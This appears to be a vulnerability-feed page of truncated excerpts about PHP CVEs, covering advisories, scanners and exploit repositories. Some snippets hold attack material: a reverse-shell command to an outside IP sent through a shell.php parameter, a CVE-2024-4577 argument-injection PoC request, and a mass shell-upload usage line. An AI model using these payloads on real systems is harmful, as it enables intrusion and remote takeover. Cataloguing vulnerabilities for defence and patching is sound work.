CVE-2024-4577-PHP-RCE

CVE 2024-4577 PHP Remote Code Execution automated scanner by Waived Affected versions: PHP 8.3, 8.3.8, 8.2. 8.2.20, 8.1., 8.1.29 Details: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 https://www.exploit-db.com/exploits/52047 https://vulners.com/cve/CVE-2024-4577 Overview: This is a scanner that...

CLEANSTART-2024-GW64196 Drupal core does not properly sanitize certain filenames on uploaded files, which can lead to files being interpreted as the incorrect extension and served as the wrong MIME type or executed as PHP...

Security vulnerability affects the drupal7 package. Drupal core does not properly sanitize certain filenames on uploaded files, which can lead to files being interpreted as the incorrect extension and served as the wrong MIME type or executed as PHP for certain hosting configurations...

CVE-2026-62121 WordPress Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin <= 2.0.26 - Local File Inclusion vulnerability

Improper Control of Filename for Include/Require Statement in PHP Program 'PHP Remote File Inclusion' vulnerability in Unlimited Elements Unlimited Elements For Elementor Free Widgets, Addons, Templates unlimited-elements-for-elementor allows PHP Local File Inclusion.This issue affects Unlimited...

CVE-2026-62121 WordPress Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin <= 2.0.26 - Local File Inclusion vulnerability

Improper Control of Filename for Include/Require Statement in PHP Program 'PHP Remote File Inclusion' vulnerability in Unlimited Elements Unlimited Elements For Elementor Free Widgets, Addons, Templates unlimited-elements-for-elementor allows PHP Local File Inclusion.This issue affects Unlimited...

EUVD-2026-114269

Improper Control of Filename for Include/Require Statement in PHP Program 'PHP Remote File Inclusion' vulnerability in Unlimited Elements Unlimited Elements For Elementor Free Widgets, Addons, Templates unlimited-elements-for-elementor allows PHP Local File Inclusion.This issue affects Unlimited...

CVE-2026-62121

The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) WordPress plugin (versions up to and including 2.0.26 ) is vulnerable to a Local File Inclusion (LFI) vulnerability. The root cause is the Improper Control of Filename for Include/Require Statement in PHP Program (CWE-98), whi...

CVE-2026-82226

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-82226 Write-up: https://abraxaslabs.tech/research/CVE-2026-82226 CVE-2026-82226 Tickera 3.6.0.2 - Tickera I am @abraxasnull. Loopback lab. The client is CVE-2026-82226-Abraxas-Labs.py. Checkout unserializes...

CVE-2024-52433

CVE-2024-52433 My Geo Posts Free = 1.2 - Unauthenticated PHP Object Injection Description The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 CuteNews 2.1.2 Reverse Shell Upload A slightly modified version of the Mt-Code POC which spawns a full reverse shell rather than a web shell. This exploit uses the famous PentestMonkey PHP Reverse Shell. Install pip install -r requirements.txt Example use: Create a user on the...

CVE-2024-25600-mass

mass upload shell for cve python3 exploit.py -l yourlist.txt path shell https://examplewebsite.com/asd.php...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash Introduction ISPConfig versions = 3.2.11 are vulnerable to an authenticated PHP code injection vulnerability via the records parameter in the /admin/languageedit.php endpoint. A malicious authenticated admin user can exploit this to...

php-cgi-cve-2024-4577

php-cgi-cve-2024-4577 php-cgi-cve-2024-4577 A remote code execution vulnerability occurring in CGI mode of PHP language registered in the detection of PHP-CGI CVE-2024-4577 Argument Injection events from external IPs to internal servers. This is an event that occurs when PHP is executed in CGI mo...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0 is vulnerable to RCE via SQL Injection. Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Step 1: Navigate to the affected UR...

CVE-2024-4577

CVE-2024-4577 Environment Setup Files and PHP Files --poc-- Invoke-WebRequest -Method POST -Headers @"Content-Type" = "application/x-www-form-urlencoded" -Body "" -Uri "http://localhost/test.php?%ADd+allowurlinclude%3D1+%ADd+autoprepend file%3Dphp://input"...

October Linux Patch Wednesday

October Linux Patch Wednesday. There are 4,946 vulnerabilities in total. By comparison, there were 2,653 in September. That's an 86% increase! This time, there are 1,954 vulnerabilities in the Linux Kernel and 814 in Chromium. Together, they make up 56% of all vulnerabilities. Six vulnerabilities...

CVE-2026-44344

Chamilo LMS is an open-source learning management system. In the 1.x line before 1.11.40, and the 2.x line before 2.0.1, multiple eval calls in the vendored PEAR HTMLQuickForm libraries can execute arbitrary PHP code if form element names contain attacker-influenced data. Standard Chamilo forms u...

CVE-2026-45145

Chamilo LMS is an open-source learning management system. Prior to 2.0.1, public/main/inc/lib/career.lib.php and public/main/cron/importcsv.php call PHP's native unserialize on usercareer.extradata retrieved from the database without the allowedclasses: false safety option. An attacker able to...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 Remote Command Execution RCE Exploit This script exploits a Remote Code Execution vulnerability in SPIP version 4.2.8 via the porteplumeprevisu endpoint. The vulnerability allows unauthenticated attackers to inject PHP code through preview rendering of crafted image tag...

setup-cve-2015-8562

Joomla! RCE CVE 2015-8562 Docker compose file to setup environment for CVE 2015-8562 testing Table of Contents 1. About The Project 2. Getting Started Prerequisites Installation 3. Usage 4. Contributing 5. License About The Project This project includes a Docker compose file to setup environment...